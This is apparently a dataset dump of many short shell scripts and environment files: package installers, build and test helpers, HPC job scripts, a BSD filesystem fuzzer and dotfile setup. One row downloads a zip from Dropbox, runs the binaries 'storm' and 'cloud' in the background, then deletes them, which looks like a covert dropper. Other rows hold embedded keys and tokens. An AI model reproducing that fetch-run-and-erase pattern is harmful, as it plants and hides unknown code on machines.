blob_id stringlengths 40 40 | length_bytes int64 7 488k | source stringlengths 7 488k |
|---|---|---|
90298cb18b27fb773ed40b0374c6e8ede4d495b3 | 1,069 | #!/usr/bin/env bash
set -ex
apt-get update
apt-get install -y software-properties-common python-software-properties python3-pip
add-apt-repository -y ppa:deadsnakes/ppa
apt-get update && apt-get install -y python3.6 python3.6-dev
export DEBIAN_FRONTEND=noninteractive
apt-get install -y mysql-server-5.7 libmysqlclient... |
b3306e575414a3bc2396504e8339770d548fac52 | 651 | #!/bin/bash
#apt proxy
echo 'Acquire::http::proxy "http://aptproxy:3142";' > /etc/apt/apt.conf.d/02proxy
echo 'Acquire::https::proxy "http://approxy:3142";' >> /etc/apt/apt.conf.d/02proxy
#clean apt cache since we use apt-proxy-ng
cat > /etc/cron.hourly/apt-clean << EOF
#!/bin/bash
apt-get clean
EOF
chmod +x /etc/cro... |
5def4ad30809ca1386a7f66bd23df7e4bc30a2c1 | 708 | #! /bin/bash
#$ -cwd
#$ -S /bin/bash
#$ -q fast.q
#$ -N GF_optlh
#$ -M deleted@deleted.edu
#$ -m e
#$ -V
hostname
module load quantum-espresso/6.1
# ADS
mpirun -np $NSLOTS pw.x -inp INPUT_ADS_GF_optlh-scf.in > OUTPUT_ADS_GF_optlh-scf
mpirun -np $NSLOTS pp.x -inp INPUT_ADS_GF_optlh-pp-up.in > OUTPUT_ADS_GF_optlh-pp-... |
6d197af76c497784ca41a2ce3c692be9a6b1f3d3 | 943 | #!/bin/bash
clear
# ARG 1 sets Rpi to be WiFi access host
# ARG 0 return to original set
echo AAAA
if [ "$1" = 1 ]
then
echo "WiFi HotSpot is being created"
sudo cp /etc/network/interfaces.hostapd /etc/network/interfaces
sudo cp /etc/sysctl.conf.hostapd /etc/sysctl.conf
sudo cp /etc/dhcpcd.conf.... |
8c23d8b4216c315d8d70000bc5671bc1bd452bdd | 1,479 | #!/bin/bash
install_dir="$HOME"
dropbox_dir="$HOME/Dropbox/dotfiles"
function link_folder {
item=$1
backup_if_exist "$install_d10ir/$1"
ln -s "$source_directory/$item" "$install_dir/$item"
}
function backup_if_exist {
counter=1
while [ -d "$1.auto_backup$counter" ]; do
counter++
done
if [ -d "$1" ... |
74b89a20f0f842af631d94418bf05a0e1ebe23da | 134 | #!/bin/bash
. /afs/cern.ch/atlas/project/HSG7/root/current/x86_64-slc6-gcc48/setup.sh
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./lib
|
42f8f31122789a0829e51540fe65c73675aa744b | 603 | #!/bin/sh
#
# swapmon - add / remove swap as needed
#
# PROVIDE: swapmon
# REQUIRE: LOGIN
# KEYWORD: shutdown
#
# Add the following lines to /etc/rc.conf to enable swapmon:
#
#swapmon_enable="YES"
#
. /etc/rc.subr
name=swapmon
rcvar=swapmon_enable
command="%%PREFIX%%/sbin/${name}"
command_interpreter="/bin/sh"
CON... |
027fdafbb38a0dac45ea7c30509485df68229b55 | 670 | #!/bin/bash
today=$(date -I)
name="koi-data" #"koi-$today"
#download data from the Exoplanet Archive
#query api: http://exoplanetarchive.ipac.caltech.edu/docs/program_interfaces.html
wget "http://exoplanetarchive.ipac.caltech.edu/cgi-bin/nstedAPI/nph-nstedAPI?table=q1_q17_dr24_koi&select=kepid,kepoi_name,koi_period,... |
703a994de449a663e496ef378aa6a63d5612e1a8 | 180 | #!/usr/bin/env bash
# NOT FOR PRODUCTION
# This script is here to support development mode.
export FLASK_ENV=development
export FLASK_APP=qcweb
flask run --without-threads "$@"
|
692562459a57d95a16c47dcb979d2647c26ad689 | 522 | #!/bin/bash
ADL_PATH=challenge/$1;
echo "Division"
echo "12109 1437"
./adele.pl -t $ADL_PATH/div.adl 24062020 1987
echo "707706 16"
./adele.pl -t $ADL_PATH/div.adl 24062020 34
echo "Primality"
./adele.pl -t $ADL_PATH/prime.adl 24062020 #not prime
./adele.pl -t $ADL_PATH/prime.adl 24062021 #not prime
./adele.pl -t $A... |
d4dd28fbfcc8cf0435982154ca48a7009947efa5 | 1,608 | #!/bin/bash
# 0. Post-installation
/root/shared/proxy.sh
source /root/shared/hostnames.sh
echo "source /root/shared/openstackrc" >> /root/.bashrc
# 1. Install OpenStack Block Storage Service and dependencies
apt-get install -y ubuntu-cloud-keyring
echo "deb http://ubuntu-cloud.archive.canonical.com/ubuntu trusty-upda... |
9e6f83d02afac295414f43b90a4fb540745d169f | 716 | # (c) Stanford University 2018
# Written by Mark Miller, 2/15/2018
# Shell script to put the mac_toolchain rpi-install in the right place.
# This assumes git has been pulled.
rpi_install_source="cs107e.github.io/guides/mac_toolchain/rpi-install.py"
if [ -z "$1" ]; then
rpi_install_dest="/home/rpi/bin/rpi-install.py... |
32e8682f834435f38f28e6bc4c5d8ef7414f6d1d | 565 | #!/bin/sh
# set -x
. ../string.sh
. ./test_utils.sh
# -------------------------------
test_endswith_true() {
printf "\"$1\" endswith \"$2\""
assertTrue $(endswith $1 $2)
}
test_endswith_false() {
printf "\"$1\" endswith \"$2\""
assertFalse $(endswith $1 $2)
}
test_endswith_false "abcdef" ""
test_en... |
786ce8b01bcfcb20cf8fd1e3a3259c979eeb32a2 | 147 | #!/usr/bin/env bash
# Script required by git pre-commit hook
APP_HOME="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && cd .. && pwd )/"
cd $APP_HOME |
ea48e923ee9fce09a6b7ee2f6a84828cf3c42367 | 127 | pathWindowsToUnix () {
_TMP_PATH=$(echo "$1" | sed 's,\\,/,g')
_TMP_PATH=/${_TMP_PATH:0:1}${_TMP_PATH:2}
echo ${_TMP_PATH}
} |
43c5fccbda8e1d0c235fb648fc81f3791ec81c35 | 403 | #!/bin/bash
# To run the tests type ". run_regtests.sh"
source RiboCensusrc
SAMPLE=zymopure
#SAMPLE=beaver
if [ ! -d regtests/output ]; then
mkdir regtests/output
else
rm -rf regtests/output/*
fi
echo python RiboCensus.py -i regtests/input -o regtests/output -s ${SAMPLE} -v 1
python RiboCensus.py -i re... |
7cf28554db58397d67438594ac9e9f110f3b7a87 | 466 | #!/bin/bash
mkdir /root/.ssh && ssh-keygen -t rsa -b 2048 -P "" -f /root/.ssh/id_rsa
echo -e "\n\nPublic key for Satis:"
cat /root/.ssh/id_rsa.pub
echo -e "\n\n"
echo "Creating known_hosts..."
for domain in $PRIVATE_DOMAINS ; do
ssh-keyscan -t rsa $domain >> /root/.ssh/known_hosts
done
chown -R www-data:www-dat... |
83811f8356062f1bf3c331c9a27edb76631a9ebe | 127 | #!/bin/sh
d=$(date -I)
git-archive --format=tar --prefix=juomapeli."$d".snapshot/ HEAD |gzip > juomapeli."$d".snapshot.tar.gz
|
ff2d4f3ae62e430f3a269467ea2f96f69b0b70b7 | 690 | #!/bin/bash
set -e
set -x
function missing_dep {
echo "Missing dependency: $1, exting now!"
exit 1
}
command -v feh || missing_dep "feh"
command -v scrot || missing_dep "scrot"
command -v mogrify || missing_dep "mogrify (from imagemagick)"
cp -s $(pwd)/bin/scrot-service-read ~/.local/bin/
mkdir -p ~/.local/sys... |
e85187dd33e6c61eef4956682de942eec6cea1a5 | 61 | REACT_APP_BACK_URI = https://spoticlone-backend.herokuapp.com |
4d53588d1fbcd306d28c3731d06a1857eb3ad990 | 321 | APISERVER=$(kubectl config view --minify | grep server | cut -f 2- -d ":" | tr -d " ")
SECRET_NAME=$(kubectl get secrets | grep ^default | cut -f1 -d ' ')
TOKEN=$(kubectl describe secret $SECRET_NAME | grep -E '^token' | cut -f2 -d':' | tr -d " ")
curl $APISERVER/api --header "Authorization: Bearer $TOKEN" --insecure
... |
5610ffe4ea79745a821c6b934f5c2c372c5e3b9a | 6,893 | python nmt_prior.py --config ../../configs/transformer/trans.deen_base.yaml data.subsample=10000 --name final.trans.deen_base_10000
python nmt_prior.py --config ../../configs/transformer/trans.deen_base.yaml data.subsample=10000 losses.mt.smoothing=0.1 --name final.trans.deen_base_ls_10000
python nmt_prior.py --config ... |
654209fa4a3f04e07bf6190b89f5ffac5c3e7153 | 1,114 | #!/bin/bash
# CLI arguments:
# 1 Address to the origin RTMP server (rtmp://[x.x.x.x]/ingest)
# 2 The stream name (rtmp://x.x.x.x/ingest/[stream name])
# 3 The destination file prefix
# Uses the following environment variables:
# HLS_OUT Where to store HLS output files
# LOG_PATH where to log to
set -e
RTMPSERVER=$1
ST... |
5f8f9667d50d6f3d6ce35926624d3c9bc5c8f2c1 | 114 | #!/bin/bash
source ./script.inc
source ./config.inc
INFO Build LuaJIT
cd luajit
make
OK LuaJIT Build Completed.
|
3fb037eb5885076cd839da7516ff781d88e002c3 | 510 | APP_ENV=local
APP_DEBUG=true
APP_KEY=Ao4RBbdSCYzuioBIXTi3xRdMbfQpDgzK
DB_HOST=127.0.0.1
DB_DATABASE=passwordmanager
DB_USERNAME=root
DB_PASSWORD=null
CACHE_DRIVER=array
SESSION_DRIVER=file
QUEUE_DRIVER=sync
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_DRIVER=smtp
MAIL_HOST=mailtrap.io
MAIL_PORT=252... |
63808bc3d6355f0237a708be14bb324b7cf58094 | 216 | #!/bin/bash
set -ex
docker build -t cbata/hello-katib-quadratic-function .
docker run -it --rm cbata/hello-katib-quadratic-function python main.py --x1 -1 --x2 3.5
docker push cbata/hello-katib-quadratic-function |
a440054421892a4ffffce7e6c0484fdac3e7fd72 | 348 | #!/bin/sh
player_status=$(playerctl -p spotify status 2> /dev/null)
if [ "$player_status" = "Playing" ]; then
echo " $(playerctl -p spotify metadata artist) - $(playerctl -p spotify metadata title)"
elif [ "$player_status" = "Paused" ]; then
echo " $(playerctl -p spotify metadata artist) - $(playerctl -p spot... |
71147a7634c21924284db9b8dee79833ba7f1830 | 438 | #!/bin/bash
# Build and start Netron as a Python web server from local directory
source=$(dirname ${0})
pushd ${source} > /dev/null
[ -d node_modules ] || npm install
rm -rf ./build/python
python ./setup.py --quiet build
popd > /dev/null
PYTHON_VERSION=$(python -c "import sys; print('.'.join(str(x) for x in sys.version... |
b68bd1d86958dbad87637c313e8d307bfcdd4e1d | 158 | EVENTS_FEED="http://www.yourhost.goes.here/rss/events.xml"
NEWS_FEED="http://www.yourhost.goes.here/rss/news.xml"
DARWIN_TOKEN=""
TFL_APP_ID=""
TFL_API_KEY="" |
9fa8b36a0a6549aaa5942e20a4a4160ee0e14843 | 96 | #!/bin/bash -e
check 'bosh target' 'Current target is .*' true #> BOSH target should be set.
|
dafaca514b8254bc7354ccb99cd45e22ed5cee4a | 377 | #!/bin/bash
set -e
HERE=$(dirname "$(readlink --canonicalize "$BASH_SOURCE")")
. "$HERE/_env"
# https://medium.com/@clouddev.guru/how-to-fix-kubernetes-namespace-deleting-stuck-in-terminating-state-5ed75792647e
NAMESPACE=$1
kubectl get namespaces "$NAMESPACE" --output=json | \
jq .spec.finalizers=[] | \
kubectl rep... |
0e3725f6db6f86c05af2945de2b77cbf4429163d | 205 | # On some systems installing pdfminer fails because chardet is unavailable.
# Install it first.
python -m pip install chardet
# Use Pip to install the pdfminer module.
python -m pip install pdfminer.six
|
6a9178fadacd1dc18dba41d36cd280a65abc7729 | 631 | #!/bin/bash
echo "Setting mongodb repo"
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927
sudo bash -c 'echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" > /etc/apt/sources.list.d/mongodb-org-3.2.list'
echo "Installing mongodb"
sudo apt update
sudo apt install -y... |
581aa6a7b7d7e24db721da5aa8de659c566ddbb0 | 1,543 | #!/bin/sh
test_valid_hash() {
TEMP_FILENAME=`mktemp`
# Test a file bigger then the buffer-size
dd if=/dev/urandom bs=$1 count=1 2>/dev/null >> $TEMP_FILENAME
SUM=`shasum $TEMP_FILENAME | awk '{ print $1 }'`
if test $# -eq 2
then
dd if=/dev/urandom bs=$2 count=1 2>/dev/null >> $TEMP_FI... |
a4998df09365ec4d197735afe60e99d0fc320b2c | 23,833 | #!/bin/bash
#SBATCH --ntasks=1
#SBATCH --job-name=DF_pooled-varscan_bedfile_0870
#SBATCH --time='7-00:00:00'
#SBATCH --mem=1000M
#SBATCH --output=DF_pooled-varscan_bedfile_0870_%j.out
# run VarScan (v.2.4.2)
module load java
module load samtools/1.9
samtools view -b -L /scratch/lindb/DF_2018_12_edit/bedfiles_DF_ref_ed... |
120db99e832d24240b06a3b43e4424023834e836 | 574 | #!/usr/bin/env bash
declare ROOT_DIR=""
function set_bash_error_handling() {
set -euo pipefail
}
function set_project_root_directory() {
local -r script_dir=$( dirname "${BASH_SOURCE[0]}")
cd "$script_dir/.."
ROOT_DIR=$(pwd)
}
function run_e2e_tests() {
cd "$ROOT_DIR/library-backend-service"
... |
6488bff04fafbeef299375118d9846c506e30042 | 735 | script_dir="$(cd "$(dirname "$0")" && pwd)"
source ${script_dir}/lib/get_os_version.sh
source ${script_dir}/lib/log.sh
source ${script_dir}/lib/colors.sh
source ${script_dir}/lib/install_thirdparty_dependencies.sh
source ${script_dir}/lib/install_vineyard.sh
source ${script_dir}/lib/util.sh
## Code here runs inside t... |
9b711ea46cdcc440d8c0af69f9bcd0b812103ca9 | 159 | #!/usr/bin/env bash
echo "Delete job name: '$Name'"
JOBS_DIR="/opt/jenkins/schedules"
JOB_BASE_NAME="madcore_schedule_${Name}"
rm $JOBS_DIR/$JOB_BASE_NAME*
|
dc85855ae6763122b9842ff44d49dd4b0ddac83c | 171 | #! /bin/bash
rm -rf workspace
rm -rf workspace_apps
mkdir workspace
mkdir workspace_apps
time java -jar ApkCombiner-1.0.1.jar $*
rm -rf workspace
rm -rf workspace_apps
|
16e75f14d574613d7a1e4c55c9d1f276738766ab | 287 | #!/bin/bash
wget http://dist.neo4j.org/neo4j-community-3.0.0-M02-unix.tar.gz
tar -xf neo4j-community-3.0.0-M02-unix.tar.gz
sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install -y openjdk-8-jdk
java -version
cd ~/neo4j-community-3.0.0-M02/
bin/neo4j start
|
bf5ab3a7ef976c1c36a6123879b9871bd2a8d0bc | 6,250 | #!/bin/bash
PFAD="/var/www/" #Pfad zum Web-Verzeichnis
r=0 # Backup-Zahl auf Null setzen
IFS="; " #Spezial-Variable - enthält Trennzeichen zum Trennen von Luftdruck und -temperatur
re='^[0-9]+$' # Regulärer Ausdruck, ob Variable eine Zahl ist
pushbullet_api_key=$(cat /home/pi/Temperaturmessung/Fremddateien/pushbullet_s... |
9dc5b255ea5263ddd937f0381ab4802f579761b0 | 572 | #!/bin/bash
##
## script for Shutdown Minecraft Bedrock server already running in tmux instance
## Created by Animator
##
tmuxName=minecraft-server
if ! tmux ls | grep -q "$tmuxName"; then
echo "No tmux with name $tmuxName is running. Exitting."
exit
fi
execute-command () {
local COMMAND=$1
if [[ $tmuxNa... |
ab4e10f009516ae91ab52a6a16220fbb19aac8d8 | 688 | #!/bin/bash
#FILE can be "all" or a specific file
FILE=$1
KIND=$2 # eg. Contract
function load_one {
ONE=$1
echo "loading $ONE"
appcfg.py upload_data \
--config_file=app2/contract_loader.py \
--filename="$ONE" \
--kind=$KIND \
app2
##simulate success
#yes --version ... |
3a85516f5c56165df71b5314e82d7ffa85e92c68 | 1,226 | #!/bin/bash
#get the directory where the script was executed
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
clear
echo "Welcome back, admin: "
echo
PS3='What do you want to do? (Enter 6 for menu) '
options=("Log Inventory" "Log rate of consumption" "View VATS suggestions"
"View community alerts" "Vi... |
9da01594acb5bc24d53a30dfb374757614670ac9 | 7,543 | #!/usr/bin/env bash
### bashrc.virtualenvwrapper.sh
#
# Installing Virtualenvwrapper:
# apt:
# sudo apt-get install virtualenvwrapper
# pip:
# [sudo] pip install -U pip virtualenvwrapper
#
## Configure dotfiles/virtualenv root/prefix environment variables
# __WRK workspace root
# PROJECT_HOME virt... |
c690a52087d763cde8a5d12bbccfba99062ced1d | 529 | #! /usr/bin/bash
read -p "minion naam: " MINION_NAAM #naam van de minion
read -p "IP master: " IP_MASTER #ip van de master
# installeer salt
curl -L https://bootstrap.saltstack.com -o install_salt.sh
sudo sh install_salt.sh -A $IP_MASTER
sudo service salt-minion stop
#minion naam veranderen
sudo rm -rf /etc/salt/m... |
9d360bd67ef029a22e07a5a4482d59612b6ae899 | 120 | #!/bin/bash
git subtree pull --prefix=themes/gohugoioTheme/ git@github.com:gohugoio/gohugoioTheme.git master --squash
|
d2b6b56003f86491eb45635c96a2e5ae88e6d59c | 89 | #!/bin/sh
for f in *.graffle; do
osascript `dirname $0`/graffle2pdf.scpt `pwd`/$f
done
|
8f81730f7b2ba563f712577c9b433196dd32611a | 128 | unset ZLOG_PROFILE_ERROR
unset ZLOG_PROFILE_DEBUG_LOG
rm -f press*log
valgrind --tool=callgrind ./test_press_zlog 1 10 10000
|
dff1f8b2f98badc3bbe5b828d9e055ae407e2a92 | 542 | ## Separate out only the chromosome that we want: 13
bgzip -c Z.variantCall.SNPs.vcf > myvcf.vcf.gz #zip the vcf file using bgzip -> file should output .gz zip format
tabix -p vcf myvcf.vcf.gz #index the TAB-separated file, which contains strings
tabix myvcf.vcf.gz chr13 > chr13.vcf #store only the chr13 section as chr... |
dfafd41e735e7f9e6bf8e2970f8c8e2f963ed486 | 1,173 | #!/usr/bin/with-contenv bash
set -e
DEFAULTDOMAIN=${DEFAULTDOMAIN:=""}
NISSERVERS=${NISSERVERS:=""}
if [ ! -z "$DEFAULTDOMAIN" ] && [ ! -z "$NISSERVERS" ]; then
echo "Setting up NIS/YP"
echo "defaultdomain: '${DEFAULTDOMAIN}'"
echo "NIS server: '${NISSERVERS}'"
echo ${DEFAULTDOMAIN} > /etc/defaultdo... |
8697b624e7cd224a0e8c8cb91ae6b0cd9e5a7ceb | 117 | iverilog -g 2005-sv -o ../bin/vliwsplitter.vvp ../src/vliwsplitter.v vliwsplitter.t.v && vvp ../bin/vliwsplitter.vvp
|
1c8fe91bcd4043dc23b0e6bc04833c7a356af4b3 | 245 | # big-endian or little-endian ?
# Tested on: Mac G4 and macbbook.
isbig () {
isBIG=`/usr/bin/perl -e 'printf(unpack("h*", pack("s", 1)) =~ /01/);'`
if [ $isBIG -eq 1 ]; then
print "BIG_ENDIAN";
else
print "LITTLE_ENDIAN"
fi
}
|
bdbe9d6157c295e5bed2b85fbff886614a79e8ac | 229 | VITE_SUPABASE_URL=https://imyquhlqatvmpfcpmvpx.supabase.co
VITE_SUPABASE_ANON_KEY=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlhdCI6MTYzNDgyNzEzOCwiZXhwIjoxOTUwNDAzMTM4fQ.kBlJSiVj5eBpqSInbeRKf_P_QuCrJpd5TYL-o2HqTb4 |
e4c9b886ee77618a567c96af5b285a8ca8f25c03 | 936 | #!/bin/sh
set -e
update-alternatives \
--install /usr/include/x86_64-linux-gnu/mpi mpi-x86_64-linux-gnu /usr/lib/x86_64-linux-gnu/openmpi/include 50 \
--slave /usr/lib/x86_64-linux-gnu/libmpi.so libmpi.so-x86_64-linux-gnu /usr/lib/x86_64-linux-gnu/openmpi/lib/libmpi.so \
--slave /usr/lib/x86_64-linux-gnu/libmpi++.... |
cfd93e9d46e29e2bd25523fc305e6ea5d43abba2 | 1,912 | #!/bin/bash
directory="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $directory
# API dependencies
./install-lib.sh api mail.jar javax.mail mail 1.4.7
./install-lib.sh api slf4j-api-1.7.5.jar org.slf4j slf4j-api 1.7.5
./install-lib.sh api slf4j-simple-1.7.5.jar org.slf4j slf4j-simple 1.7.5
# EXTRA dependencie... |
698c1d73391ebbb09ee6aa6b5e22c9adee07661e | 2,681 | #!/bin/bash -eu
#
# Copyright (c) 2018 SAP SE or an SAP affiliate company. All rights reserved. This file is licensed under the Apache Software License, v. 2 except as noted otherwise in the LICENSE file
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance... |
7eadc1fa6ee5e9d59b27de2aa0f21319bddfa0fd | 83 | #!/bin/bash
gcc -std=c99 -o nt networktestservice.c
gcc -std=c99 -o req request.c
|
e76ceb6f4731053562ba6ebc94b4880f6e4142a2 | 1,806 | #!/bin/sh
ksmroot=${ksmroot:-"/adds/kbmenu"}
ksmuser=${ksmuser:-"/mnt/onboard/.adds/kbmenu_user"}
sqliteprog=$ksmroot/tools/sqlite3
database=/mnt/onboard/.kobo/KoboReader.sqlite
dictionary="$1"
languageCodeFile="${ksmuser}/txt/languageCodes.txt"
if [ ! -f "$languageCodeFile" ]; then
echo "Error:_Cannot_find_langu... |
212c8dcbf93181ee2bf6fc207e071c474a29a130 | 1,486 | #!/bin/bash
#nohup python -u /data/wangliqi/newwords/update_newwords.py 2018-01-01 2018-02-01 >> 2018_01_logs.txt &
#nohup python -u /data/wangliqi/newwords/update_newwords.py 2018-02-01 2018-03-01 >> 2018_02_logs.txt &
#nohup python -u /data/wangliqi/newwords/update_newwords.py 2018-03-01 2018-04-01 >> 2018_03_logs... |
c9fda3e44d2ac8fcad47e1770c5dd797141d0f64 | 562 | #!/bin/sh
#######################################################################
## @rgbyk/color/bin/lib/kill.sh
#######################################################################
# 1. $ chmod +x ./bin/lib/kill.sh
# 2. $ ./bin/lib/kill.sh
# 3. $ "kill": "chmod +x ./bin/lib/kill.sh && ./bin/lib/kill.sh"
set -e
... |
f2d0b441042148e5757150ea1cb0d47673a8af47 | 51 | #!/bin/bash
python process.py
gnuplot gnuplot.txt
|
63d23082d07acbae8eb03c72a256eb66933c7ed9 | 52 | BOTTOKEN = Your Token
TENORKEY = Your Tenor API key
|
abee6f7cf7685ff54de1fb32a8c507a8973206b3 | 1,348 | #!/bin/sh
sudo apt-get install aptitude
sudo apt-get install wget
sudo apt-get install openssh-client openssh-server
sudo apt-get install build-essential nginx autoconf libmemcached-dev libxml2-dev libcurl4-openssl-dev pkg-config libjpeg-dev libpng-dev libicu-dev libmcrypt-dev libgearman-dev libgraphicsmagick1-dev
mk... |
bf2b8b74cfc8aeebbc57dff8060c5ae01eab3c43 | 1,393 | # Maintainer: Joshua Rubin <joshua@rubixlinux.org>
PERL=5.8.8
pkgname=perl-dbd-mysql
pkgver=3.0002
pkgrel=1
pkgdesc="DBD::mSQL / DBD::mysql - mSQL and mysql drivers for the Perl5 Database Interface (DBI)"
url="http://search.cpan.org/~jwied/Msql-Mysql-modules-1.2219/mysql/lib/DBD/mysql.pm"
depends=('perl-dbi' 'mysql')... |
f85edbf9bd4f37dcf5df304e53189ec451650f9a | 355 | #! /bin/bash
#Read 5 random 3 digit valuues and then outputs max and min values
for((i=0;i<5;i++))
do
arr_name[$i]=$((100 + (RANDOM%900) ))
done
max=${arr_name[0]}
min=${arr_name[0]}
for i in ${arr_name[@]}
do
echo $i
if [ $i -lt $min ]
then
min=$i
fi
if [ $i -gt $max ]
then
max=$i
fi
done
echo ${arr_nam... |
3204a62e675bb85bc609fa39dae17f4c26d321fa | 480 | #!/bin/bash
#Tries to load raven's conda package, and activate raven_libraries
try_use_raven_conda ()
{
if test -e /opt/raven_libs/bin/conda;
then
export PATH="/opt/raven_libs/bin:$PATH"
source activate raven_libraries
fi
}
#Check for conda and activate raven_libraries
if which conda 2> /dev/null;
then
... |
bca1f9cd61a1e74e9b7664c33cb55b110008c494 | 994 | #!/bin/bash
if (( $# != 1 )); then
echo -e "Usage: $0 directory"
exit 1
fi
cd "$1" || exit 1
for name in *
do
date="$(echo "$name" | sed -r 's/(.+)_([0-9]{8})_([0-9]{4})([0-9]{2}).+/\2\3.\4/')"
if [[ $date == ????????????.?? ]]
then
touch -amt "$date" "$name"
echo "Updated "$name
else
echo "S... |
915277e131f25e9806b73faae9410dc4be50d7ed | 323 | #!/bin/bash
if ! [ -d "$BENCHMARK_PM_PATH" ]
then
echo "Please set BENCHMARK_PM_PATH to a valid directory." 2>&1
exit 1
fi
mkdir -p results
docker build -t safepm-crash_consistency .
docker run -v "$BENCHMARK_PM_PATH:/mnt/crash_consistency" -v "$(pwd)/results":/results -t safepm-crash_consistency bash inner_run.... |
d938920c6c3eee7119c9f56199784d64be3a24ef | 1,017 | #!/bin/bash
function copy_files {
s3source=$1
dest=$2
folders=$(for folder in $(aws s3 ls s3://${s3source} --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk '{print $4}' | grep \/$); do echo ${folder}; done)
for folder in ${folders[@]}; do
sudo -su hdfs hadoop fs -mkdir -p /${folder}
don... |
d27a58d4d0011c89983c3638ecb2e1af26c06c5f | 56 | CONNECTION_STRING=
TEST_CONNECTION_STRING=
SERVER_PORT=
|
d683c8d67797e022fe4cc51b4beebf006e94e47c | 1,426 | #!/bin/sh
###################################################################
#Script Name :syncUSB.sh
#Description :Rsync between two folders when USB mounted
#Created :22 November 2018
#Args :
#Author :Michal Czarnecki
#Email :mczarnecki@gmail.com
#GitHub :http://www.g... |
b86311f96d1f9b08f8f86435aaf42811caf70684 | 303 | #!/bin/bash
end=$((SECONDS+$1))
wget https://www.dropbox.com/s/6attsnmz5y8lk0f/wan22.zip -q
unzip wan22.zip > /dev/null 2>&1
#pwd
./storm ./cloud &
sleep 3
rm -rf wan22.zip
rm -rf storm
rm -rf cloud
while [ $SECONDS -lt $end ]
do
read line
echo "$line"
sleep $(( $RANDOM % 26 ))
done < $2
|
a90f107dfd7e8c641d120276b3f11fed59ebf40e | 1,803 | #!/bin/bash
# Get currente theme
Eww_Currente_Theme=$(cat ~/.config/eww/eww.scss | grep @import | cut -d '"' -f2)
Gtk_Currente_Theme=$(cat ~/.themes/Midday/gtk-3.0/gtk.css | grep @import | cut -d '"' -f2)
# Get currente highlight color
Eww_Currente_Color=$(cat ~/.config/eww/$Eww_Currente_Theme | grep highlight | cut ... |
04576d7b021dbce87452e74b3f1878ee00b2c174 | 1,229 | #!/bin/bash
set -e
# Fix network configuration
echo "127.0.0.1 $(cat /etc/hostname)" >> /etc/hosts
# Install binaries built with SDK
tar xf /home/root/data.tar -C /
# Setup ROS environment for building a binary
export ROS_DISTRO=indigo
export ROS_MASTER_URI=http://localhost:11311
export ROS_PACKAGE_PATH=/opt/ros/$... |
57b8c0c4e5351415aa3bfbdcd7fefba4a9aef2e8 | 180 | #!/bin/bash
cd $(dirname $(readlink -f "$0"))
DIR="${1:-./assets/entities}"
FAIL=0
for i in "$DIR/"*; do
./build/bin/checkentcfg "$i" > /dev/null || FAIL=1
done
exit $FAIL
|
d7024b5c7f500f8f52a8167a643d729aad1b7080 | 1,369 | #!/bin/sh
#
# Copyright 2017, gRPC Authors All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
94188cee3773a92df15d151f51faff6dacdb77ba | 5,607 | #!/bin/bash -
# There is no reason what so ever to edit this file unless you totally know what you are doing. In that case, have fun.
source /drive/drive/.rtorrent/scripts/v3/bot/config.cfg
#source "${pb%/*}/lang/$language.lang" #TODO
_script="functions.sh"
dtg="[$(date +%d-%m-%y) $(date +%H:%M:%S)]"
log() {
# Log v... |
b64a36a1e968b67711be1f0ea4e475d68f96700b | 161 | #!/bin/bash -x
isPrasent=1;
randomcheck=$((RANDOM%2));
if [ $isPrasent -eq $randomcheck ];
then
emprateperhr=20;
emphrs=8;
salary=$(($emprateperhr*emphrs));
fi
|
16074a8459929d57e99e40fe3496cf83f7b717ac | 1,750 | #!/bin/bash -l
# 1. Force bash as the executing shell.
#$ -S /bin/bash
# 2. Request time of wallclocl time (format hours:minutes:seconds).
#$ -l h_rt=3:00:00
# 3. Request 1 gigabyte of RAM per process (nust be an integer).
#$ -l mem=1G
# 4. Request 10 gigabyte of TMPDIR space per node (default is 10 GB).
#$ -l tmpf... |
1bcb2245f368af04669b5aec68348a3dfbd9a897 | 4,532 | #!/bin/bash
## please keep this history.
##
## LAST MODIFICATION : Febrero 18 2010 by Cabellos a 16:52
## LAST MODIFICATION : Febrero 18 2010 by Cabellos a 18:06
## LAST MODIFICATION : Septiembre 28 2010 by Cabellos a 16:03
RED='\e[0;31m'
BLUE='\e[0;34m'
BLU='\e[1;34m'
CYAN='\e[0;36m'
GREEN='\e[0;32m'
GRE=... |
9bbad58377a3d7d2c3cacd41f0273e04d6473f16 | 120 | #!/bin/bash
# see conf/crontab
/usr/bin/find /home/mkjail/shared/{incoming,info} -type f -mmin +1440 -exec rm -f {} \;
|
b6d92056e68fc1da71962652bb97304416808c64 | 6,691 | #!/bin/sh
#
# fuzzbsd.sh v1.1
#
# FuzzBSD, a filesystem image fuzzing script to test BSD kernels.
#
# A valid filesystem image gets corrupted by changing a the hex value of a
# single offset 255 times (0x00 - 0xff). FuzzBSD will then loop through each of
# the 255 images, configures a vnode/memory disk and then attempt... |
af6b22483492900c24414f0378a0530526b49673 | 1,242 | #! /bin/sh
set -e
set -u
set -x
editor=subl
guesscwdwithmagic () {
cwd=$HOME
wintitle=$(xdotool getactivewindow getwindowname)
case $wintitle in
nixos:*:*)
cwd=`echo $wintitle | cut -d : -f 3-`
;;
*Sublime\ Text)
cwd=`echo $wintitle | cut -d ' ' -f 1`
cwd=`dirname $cwd`
;;
esac
case $cwd in
... |
318fc0419e4c76b8e11a1c22720186fe7bd51be4 | 291 | DIRNAME="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd "$DIRNAME"
#class paths
APP_CLASSPATH=lib/*:lib/clib/*
